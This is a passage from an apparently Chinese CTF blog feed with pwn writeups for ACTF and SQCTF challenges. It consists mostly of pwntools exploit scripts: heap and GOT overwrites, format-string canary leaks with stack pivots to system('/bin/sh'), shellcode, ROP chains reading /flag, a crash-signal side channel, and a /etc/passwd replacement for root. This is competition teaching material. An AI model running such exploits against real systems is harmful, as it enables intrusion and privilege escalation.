<span class="line">    sa(<span class="string">&#x27;idx:&#x27;</span>, str(idx))</span>
<span class="line">    sa(<span class="string">&#x27;size:&#x27;</span>, str(size))</span>
<span class="line">    sa(<span class="string">&#x27;data:&#x27;</span>, data)</span>
<span class="line">def edit(idx, data):</span>
<span class="line">    sa(<span class="string">&#x27;option:&#x27;</span>, <span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sa(<span class="string">&#x27;idx&#x27;</span>, str(idx))</span>
<span class="line">    sa(<span class="string">&#x27;data:&#x27;</span>, data)</span>
<span class="line">def <span class="built_in">free</span>(idx):</span>
<span class="line">    sa(<span class="string">&#x27;option:&#x27;</span>, <span class="string">&#x27;3&#x27;</span>)</span>
<span class="line">    sa(<span class="string">&#x27;idx:&#x27;</span>, str(idx))</span>
<span class="line">def show(idx):</span>
<span class="line">    sa(<span class="string">&#x27;option:&#x27;</span>, <span class="string">&#x27;4&#x27;</span>)</span>
<span class="line">    sa(<span class="string">&#x27;idx: &#x27;</span>, str(idx))</span>
<span class="line">add(<span class="number">4</span>,<span class="number">0xffc0</span>,b<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">add(<span class="number">0</span>,<span class="number">0x40</span>,b<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">add(<span class="number">1</span>,<span class="number">0xffc0</span>,b<span class="string">&#x27;0&#x27;</span>*<span class="number">0xffc0</span>)</span>
<span class="line">add(<span class="number">2</span>,<span class="number">0x30</span>,b<span class="string">&#x27;0&#x27;</span>)</span>
<span class="line">show(<span class="number">0</span>)</span>
<span class="line"></span>
<span class="line">libcbase = u64(p.recv(<span class="number">6</span>)+b<span class="string">&#x27;\x00\x00&#x27;</span>)+<span class="number">0x20040</span></span>
<span class="line">add(<span class="number">3</span>,<span class="number">0xff90</span>,b<span class="string">&#x27;\x01&#x27;</span>*<span class="number">0xff80</span>)</span>
<span class="line">add(<span class="number">5</span>,<span class="number">0x800</span>,b<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>) <span class="meta"># head</span></span>
<span class="line"><span class="meta"># add(7,0x200,b<span class="string">&#x27;\x70&#x27;</span>*7)</span></span>
<span class="line">edit(<span class="number">5</span>,b<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+p64(libcbase+<span class="number">0x401e0</span>))</span>
<span class="line">add(<span class="number">4</span>,<span class="number">0x130</span>,<span class="string">&#x27;\x00&#x27;</span>)</span>
<span class="line">add(<span class="number">4</span>,<span class="number">0x10</span>,<span class="string">&#x27;\x00&#x27;</span>)</span>
<span class="line">edit(<span class="number">5</span>,b<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+p64(libcbase+<span class="number">0x402e0</span>))</span>
<span class="line">add(<span class="number">6</span>,<span class="number">0x40</span>,<span class="string">&#x27;\x00&#x27;</span>)</span>
<span class="line">show(<span class="number">4</span>)</span>
<span class="line">pie = u64(p.recv(<span class="number">6</span>)+b<span class="string">&#x27;\x00\x00&#x27;</span>)+<span class="number">0x50</span></span>
<span class="line">edit(<span class="number">5</span>,b<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+p64(pie+<span class="number">0x4080</span>))</span>
<span class="line">add(<span class="number">0</span>,<span class="number">0x100</span>,p64(pie+<span class="number">0x4080</span>)+p64(<span class="number">0x100</span>))</span>
<span class="line">edit(<span class="number">0</span>,p64(libcbase+<span class="number">0x6918</span>)+p64(<span class="number">8</span>))</span>
<span class="line">show(<span class="number">1</span>)</span>
<span class="line"><span class="built_in">stack</span> = u64(p.recv(<span class="number">6</span>)+b<span class="string">&#x27;\x00\x00&#x27;</span>)</span>
<span class="line">edit(<span class="number">0</span>,p64(pie+e.got[<span class="string">&#x27;f_open&#x27;</span>])+p64(<span class="number">0x100</span>))</span>
<span class="line">edit(<span class="number">1</span>,p64(libcbase+libc.sym[<span class="string">&#x27;r_open&#x27;</span>])[:<span class="number">6</span>:])</span>
<span class="line">edit(<span class="number">0</span>,p64(pie+e.got[<span class="string">&#x27;strstr&#x27;</span>])+p64(<span class="number">0x100</span>))</span>
<span class="line">edit(<span class="number">1</span>,p64(libcbase+libc.sym[<span class="string">&#x27;strstr&#x27;</span>])[:<span class="number">6</span>:])</span>
<span class="line">edit(<span class="number">0</span>,p64(pie+e.got[<span class="string">&#x27;close&#x27;</span>])+p64(<span class="number">0x100</span>))</span>
<span class="line">edit(<span class="number">1</span>,p64(libcbase+libc.sym[<span class="string">&#x27;close&#x27;</span>])[:<span class="number">6</span>:])</span>
<span class="line">edit(<span class="number">0</span>,p64(pie+e.bss(<span class="number">0x300</span>))+p64(<span class="number">0x100</span>)+p64(pie+e.bss(<span class="number">0x300</span>))+p64(<span class="number">0x100</span>))</span>
<span class="line"></span>
<span class="line">print(hex(<span class="built_in">stack</span>))</span>
<span class="line">print(hex(libcbase<span class="number">-0x10</span>))</span>
<span class="line">print(hex(pie))</span>
<span class="line">p.interactive()</span>
<span class="line"># 之后open /flag到堆块<span class="number">1</span>，并用堆块<span class="number">2</span>show即可</span>
</pre></td></tr></table></figure>
]]></content>
</entry>
<entry>
<title type="text">ACTF 部分题的非预期解法（全都是非预期）</title>
<id>https://imi-imiab.com/posts/cnblogs-18857873/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18857873/"/>
<author><name>imiab</name></author>
<published>2025-05-02T06:35:00.000Z</published>
<updated>2025-05-02T06:36:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">afl-sandbox 不知道预期解是什么，但是侧信道了 程序执行我们的shellcode，如果崩溃会根据不同的signal把信息告诉给我们 （复盘的时候想起来，如果exit不同的值是不是也会告诉我们？ （但是这么搞这题就没什么意思了，要是沙箱才有意思呢 用ud2、段错误和正常退出构造出三种不同的状</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18857873/"><![CDATA[<h1 id="afl-sandbox"><a href="https://imi-imiab.com/posts/cnblogs-18857873/#afl-sandbox" class="headerlink" title="afl-sandbox"></a>afl-sandbox</h1><p>不知道预期解是什么，但是侧信道了</p>
<p>程序执行我们的shellcode，如果崩溃会根据不同的signal把信息告诉给我们</p>
<p>（复盘的时候想起来，如果exit不同的值是不是也会告诉我们？</p>
<p>（但是这么搞这题就没什么意思了，要是沙箱才有意思呢</p>
<p>用ud2、段错误和正常退出构造出三种不同的状态，就可以二分逐位爆破了。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;harness&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line"><span class="comment"># p = process([&quot;python3&quot;, &quot;wrapper.py&quot;])</span></span>
<span class="line">p=remote(<span class="string">&#x27;61.147.171.106&#x27;</span>,<span class="number">64278</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line"><span class="comment"># context.log_level=&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line">difficulty = <span class="number">12</span></span>
<span class="line">zeros = <span class="string">&#x27;0&#x27;</span> * difficulty</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">is_valid</span>(<span class="params">digest</span>):</span>
<span class="line">    <span class="keyword">if</span> sys.version_info.major == <span class="number">2</span>:</span>
<span class="line">        digest = [<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> digest]</span>
<span class="line">    bits = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">bin</span>(i)[<span class="number">2</span>:].zfill(<span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> digest)</span>
<span class="line">    <span class="keyword">return</span> bits[:difficulty] == zeros</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">sol</span>(<span class="params">prefix</span>):</span>
<span class="line">    i = <span class="number">0</span></span>
<span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span>
<span class="line">        i += <span class="number">1</span></span>
<span class="line">        s = prefix + <span class="built_in">str</span>(i)</span>
<span class="line">        <span class="keyword">if</span> is_valid(hashlib.sha256(s.encode()).digest()):</span>
<span class="line">            <span class="keyword">return</span> i</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">break_hash</span>():</span>
<span class="line">    p.recvuntil(<span class="string">b&quot;solve this: sha256(&quot;</span>)</span>
<span class="line">    prefix = p.recvuntil(<span class="string">b&quot; &quot;</span>,drop=<span class="literal">True</span>)</span>
<span class="line">    p.sendline(<span class="built_in">str</span>(sol(prefix.decode())).encode())</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">send_hex</span>(<span class="params">msg</span>):</span>
<span class="line">    h = msg.<span class="built_in">hex</span>()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>,h)</span>
<span class="line">    sa(<span class="string">&#x27;&gt;&#x27;</span>,<span class="string">&#x27;\n&#x27;</span>)</span>
<span class="line">break_hash()</span>
<span class="line">ans = <span class="string">&#x27;&#x27;</span></span>
<span class="line">this = <span class="string">&#x27;&#x27;</span></span>
<span class="line">index = <span class="number">0</span></span>
<span class="line"><span class="keyword">while</span> this != <span class="string">&#x27;&#125;&#x27;</span>:</span>
<span class="line">    target = <span class="number">0</span></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">8</span>):</span>
<span class="line">        pow2 = <span class="number">7</span>-i</span>
<span class="line">        target += <span class="number">1</span>&lt;&lt;pow2</span>
<span class="line">        shellcode = asm(<span class="string">f&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">                    lea rsi, [rbp - 0x400]</span></span>
<span class="line"><span class="string">                    mov rdi, 0</span></span>
<span class="line"><span class="string">                    mov rdx, 1</span></span>
<span class="line"><span class="string">                    mov rax, 0</span></span>
<span class="line"><span class="string">                    syscall</span></span>
<span class="line"><span class="string">                        &#x27;&#x27;&#x27;</span>)</span>
<span class="line">        shellcode += asm(shellcraft.<span class="built_in">open</span>(<span class="string">b&quot;/home/ctf/flag&quot;</span>))</span>
<span class="line">        shellcode += asm(<span class="string">f&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">                    lea rsi, [rbp - 0x400]</span></span>
<span class="line"><span class="string">                    mov rdi, 4</span></span>
<span class="line"><span class="string">                    mov rdx, 0x100</span></span>
<span class="line"><span class="string">                    mov rax, 0</span></span>
<span class="line"><span class="string">                    syscall</span></span>
<span class="line"><span class="string">                    xor rbx, rbx</span></span>
<span class="line"><span class="string">                    mov rax, <span class="subst">&#123;target&#125;</span></span></span>
<span class="line"><span class="string">                    mov bl, byte ptr[rsi + <span class="subst">&#123;index&#125;</span>]</span></span>
<span class="line"><span class="string">                    cmp rbx, rax</span></span>
<span class="line"><span class="string">                    je equal</span></span>
<span class="line"><span class="string">                    jb below</span></span>
<span class="line"><span class="string">                after:</span></span>
<span class="line"><span class="string">                    ud2</span></span>
<span class="line"><span class="string">                equal:</span></span>
<span class="line"><span class="string">                    mov rax, 0x3c</span></span>
<span class="line"><span class="string">                    syscall</span></span>
<span class="line"><span class="string">                below:</span></span>
<span class="line"><span class="string">                    mov rsp, 0</span></span>
<span class="line"><span class="string">                    ret</span></span>
<span class="line"><span class="string">                         &#x27;&#x27;&#x27;</span>)</span>
<span class="line">        send_hex(shellcode)</span>
<span class="line">        x = p.recvuntil(<span class="string">&quot;awesome, see you next time :)))&quot;</span>)</span>
<span class="line">        p.close()</span>
<span class="line">        <span class="keyword">if</span>(<span class="string">b&quot;Fork server crashed with signal 4&quot;</span> <span class="keyword">in</span> x):</span>
<span class="line">            p=remote(<span class="string">&#x27;61.147.171.106&#x27;</span>,<span class="number">64278</span>)</span>
<span class="line">            break_hash()</span>
<span class="line">            <span class="keyword">continue</span></span>
<span class="line">        <span class="keyword">if</span>(<span class="string">b&quot;Fork server crashed with signal 11&quot;</span> <span class="keyword">in</span> x):</span>
<span class="line">            target -= <span class="number">1</span>&lt;&lt;pow2</span>
<span class="line">            p=remote(<span class="string">&#x27;61.147.171.106&#x27;</span>,<span class="number">64278</span>)</span>
<span class="line">            break_hash()</span>
<span class="line">            <span class="keyword">continue</span></span>
<span class="line">        this = <span class="built_in">chr</span>(target)</span>
<span class="line">        ans += this</span>
<span class="line">        index +=<span class="number">1</span></span>
<span class="line">        <span class="built_in">print</span>(ans)</span>
<span class="line">        <span class="comment"># pause()</span></span>
<span class="line">        p=remote(<span class="string">&#x27;61.147.171.106&#x27;</span>,<span class="number">64278</span>)</span>
<span class="line">        break_hash()</span>
<span class="line">        <span class="keyword">break</span></span>
<span class="line"><span class="built_in">print</span>(ans)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="arandom"><a href="https://imi-imiab.com/posts/cnblogs-18857873/#arandom" class="headerlink" title="arandom"></a>arandom</h1><p>这是一道内核题！是我第一次在比赛中真的去试着做的内核题！</p>
<p>什么，怎么别的队都出了</p>
<p>什么，怎么被打烂了</p>
<p>啊！根目录权限居然不是root</p>
<p>修改&#x2F;etc到文件夹1(mv etc 1)，新建&#x2F;etc&#x2F;passwd并编辑为</p>
<p>root:$1$abc$mxBQevJT9zt&#x2F;6fNQJ52EC1:0:0:root:&#x2F;root:&#x2F;bin&#x2F;bash</p>
<p>然后su root 1提权</p>
<h1 id="only-read"><a href="https://imi-imiab.com/posts/cnblogs-18857873/#only-read" class="headerlink" title="only_read"></a>only_read</h1><p>嗯，只有read，怎么办呢</p>
<p>而且没有csu给我们打magic gadgets</p>
<p>即便我们有<code>add dword ptr [rbp - 0x3d], ebx ; nop ; ret</code>也毫无办法</p>
<p>考虑可以重写read到pop rbx pop r12… ，然后再用pop控制ebx，再用ebx构造one gadgets</p>
<p>one里面有有一个刚好能满足，要求r12和另外一个寄存器为0，用我们重写的read就可以控制，最后就能成功getshell</p>
<p>(懒了懒了，这题是我们全宇宙超级无敌第一的小花同志完成的，我还没有复现，所以就没有exp了.jpg!!!)</p>
]]></content>
</entry>
<entry>
<title type="text">SQCTF pwn方向部分wp</title>
<id>https://imi-imiab.com/posts/cnblogs-18827574/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18827574/"/>
<author><name>imiab</name></author>
<published>2025-04-15T05:29:00.000Z</published>
<updated>2025-04-15T05:30:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">你好哇，除了一个混杂了misc的pwn没写，其他的思路和writeup都写在这里了 题目总体还是偏基础的，如果不懂可以exp+gdb调调看。 浅红欺醉粉，肯信有江梅 天哪好花哨的名字 输入nc balabala就有shell啦，然后愉快地ls cat flag便可 cat 主函数里有一个危险的get</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18827574/"><![CDATA[<p>你好哇，除了一个混杂了misc的pwn没写，其他的思路和writeup都写在这里了</p>
<p>题目总体还是偏基础的，如果不懂可以exp+gdb调调看。</p>
<h1 id="浅红欺醉粉，肯信有江梅"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#%E6%B5%85%E7%BA%A2%E6%AC%BA%E9%86%89%E7%B2%89%EF%BC%8C%E8%82%AF%E4%BF%A1%E6%9C%89%E6%B1%9F%E6%A2%85" class="headerlink" title="浅红欺醉粉，肯信有江梅"></a>浅红欺醉粉，肯信有江梅</h1><p>天哪好花哨的名字</p>
<p>输入nc balabala就有shell啦，然后愉快地ls cat flag便可</p>
<h1 id="cat"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#cat" class="headerlink" title="cat"></a>cat</h1><p>主函数里有一个危险的<code>gets</code></p>
<p>只要我们输入一个很长的字符串，就进backdoor啦</p>
<p>exp:”aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”</p>
<h1 id="pwn03"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#pwn03" class="headerlink" title="pwn03"></a>pwn03</h1><p><img src="https://imi-imiab.com/images/posts/4d3ad2e975ab4213425b.png" loading="lazy" decoding="async"></p>
<p>如图，通过栈上fmt泄露canary和pie</p>
<p>然后构造栈迁移，填入binsh，注意binsh要填在栈的下方而非上方，否则会被覆盖</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn03&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">30988</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="comment"># gdb.attach(p,&#x27;go&#x27;)</span></span>
<span class="line">pay=<span class="string">&quot;%11$p%15$p&quot;</span></span>
<span class="line">sl(pay)</span>
<span class="line">p.recvuntil(<span class="string">&#x27;0x&#x27;</span>)</span>
<span class="line">canary=<span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;0x&quot;</span>,drop=<span class="literal">True</span>),<span class="number">16</span>)</span>
<span class="line">pie=<span class="built_in">int</span>(p.recvline(keepends=<span class="literal">False</span>),<span class="number">16</span>)-<span class="number">0x125b</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">rdi=<span class="number">0x0000000000001245</span>+pie</span>
<span class="line">saddr=e.plt[<span class="string">&#x27;system&#x27;</span>]+pie</span>
<span class="line">bss=e.bss(<span class="number">0xF08</span>)+pie</span>
<span class="line"></span>
<span class="line">pay2=<span class="string">b&#x27;x&#x27;</span>*<span class="number">8</span>+p64(canary)+p64(bss)+p64(<span class="number">0x11f1</span>+pie)</span>
<span class="line">s(pay2)</span>
<span class="line">pause()</span>
<span class="line">pay3=<span class="string">b&#x27;x&#x27;</span>*<span class="number">8</span>+p64(canary)+p64(bss+<span class="number">8</span>)+p64(<span class="number">0x11f1</span>+pie)</span>
<span class="line">s(pay3)</span>
<span class="line">binsh=bss+<span class="number">0x10</span></span>
<span class="line">pay4=p64(rdi)+p64(binsh)+p64(saddr)+<span class="string">b&#x27;/bin/sh\x00&#x27;</span></span>
<span class="line">pause()</span>
<span class="line">s(pay4)</span>
<span class="line">p.interactive()</span>
<span class="line"></span>
</pre></td></tr></table></figure>

<h1 id="gift"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#gift" class="headerlink" title="gift"></a>gift</h1><p>简单的ret2backdoor题目</p>
<p>第一次打发现没打通，猜测是system没有对对齐，跳过push rbp后成功打通</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./gift&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31741</span>)</span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line"><span class="comment"># context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span></span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">72</span>+p64(<span class="number">0x4011bb</span>)*<span class="number">8</span></span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="bad"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#bad" class="headerlink" title="bad"></a>bad</h1><p>init_memory初始化bss段为rwx，直接shellcraft写sh在ret2bss即可</p>
<p>注意用了memcpy，不可以填充\x00哦，这里我选择健康的\x90(nop)</p>
<p><del>虽然填nop没什么意义就是了，执行到nop说明100%没打通</del><br>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./bad&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31424</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line">pay=asm(shellcraft.sh())</span>
<span class="line">pay=pay.ljust(<span class="number">72</span>,<span class="string">b&#x27;\x90&#x27;</span>)+p64(<span class="number">0x4040A0</span>)</span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn01-当时只道是寻常"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#pwn01-%E5%BD%93%E6%97%B6%E5%8F%AA%E9%81%93%E6%98%AF%E5%AF%BB%E5%B8%B8" class="headerlink" title="pwn01 - 当时只道是寻常"></a>pwn01 - 当时只道是寻常</h1><p>因为忘记了srop，展示无srop打法</p>
<p>初始情况下，开满三个fd，分别是stdin，stdout,stderr</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">dup stdin   0 -&gt; 3  #防止close1后直接eof退出</span>
<span class="line">dup2 stdout 0 &lt;- 1  #给openat留出位置</span>
<span class="line">close         -- 1  #给openat留出位置</span>
<span class="line">openat        ++ 1  #openat使用rsi传参，当rsi为绝对路径时，rdi可以忽略</span>
<span class="line"></span>
<span class="line">                    #由于我们没有任意读，所以必须在栈上构造filename，也就是</span>
<span class="line">                     在rbp所在的地方写入filename</span>
<span class="line"></span>
<span class="line">read             1  #前面煞费苦心地迁移fd，就是为了在这里read用的</span>
<span class="line">                     为了可以读文件且程序不崩溃，我们必须保证以下几个条件</span>
<span class="line"></span>
<span class="line">                     rsi必须不在栈上，否则会覆盖我们的rop链子</span>
<span class="line">                     那么rdi必须为1，因为我们要控制rsi就无法控制rdi</span>
<span class="line">                     </span>
<span class="line">                     rdi为1那么stdout必须移动到别的地方，在本题中，</span>
<span class="line">                     我们无法控制除了0和1以外的任何fd，而我们最后必须</span>
<span class="line">                     write stdout输出，也就是此时0必须是stdout</span>
<span class="line">                     但是直接关了stdin会导致broken pipe程序立马崩溃</span>
<span class="line">                     所以必须用dup stdin来把文件描述符传出去</span>
<span class="line">                     由于智能指针的性质，此时stdin不会被系统回收，</span>
<span class="line">                     程序也不会崩溃，我们就能顺利readflag到指定位置</span>
<span class="line">                     并最后重新把它输出出来</span>
<span class="line"></span>
<span class="line">dup2 stdout 0 -&gt; 1</span>
<span class="line">write            1  #同之前分析相同，若要控制rdi=0就无法控制rsi，而</span>
<span class="line">                     我们的flag是写到bss上的，所以必须dup2 stdout到1</span>
<span class="line">                     最后成功输出flag</span>
</pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn01&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31683</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line">ret=<span class="number">0x0000000000401048</span></span>
<span class="line">rsi_rax=<span class="number">0x0000000000401049</span></span>
<span class="line">rax=<span class="number">0x000000000040104a</span></span>
<span class="line">binsh=<span class="number">0x000000000402039</span>+<span class="number">1</span></span>
<span class="line">sys_rbp=<span class="number">0x401045</span></span>
<span class="line">pay=<span class="string">b&#x27;deadbeaf&#x27;</span></span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x20</span>)+p64(<span class="number">0x401024</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rsi_rax)+p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">3</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line"></span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x101</span>)+p64(<span class="number">0x0401024</span>)+<span class="string">b&#x27;/flag\x00\x00\x00&#x27;</span></span>
<span class="line">pay+=p64(rsi_rax)+p64(e.bss(<span class="number">0x400</span>))+p64(<span class="number">0</span>)+p64(<span class="number">0x40102C</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">3</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x20</span>)+p64(<span class="number">0x401024</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">1</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rsi_rax)+p64(e.bss(<span class="number">0x400</span>))+p64(<span class="number">1</span>)+p64(<span class="number">0x401018</span>)</span>
<span class="line">s(pay)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
<span class="line"></span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn-被酒莫惊春睡重"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#pwn-%E8%A2%AB%E9%85%92%E8%8E%AB%E6%83%8A%E6%98%A5%E7%9D%A1%E9%87%8D" class="headerlink" title="pwn - 被酒莫惊春睡重"></a>pwn - 被酒莫惊春睡重</h1><p>简单栈溢出+ret2syscall呀</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">30135</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">rdx_rsi_rdi_rax=<span class="number">0x00000000004011e0</span></span>
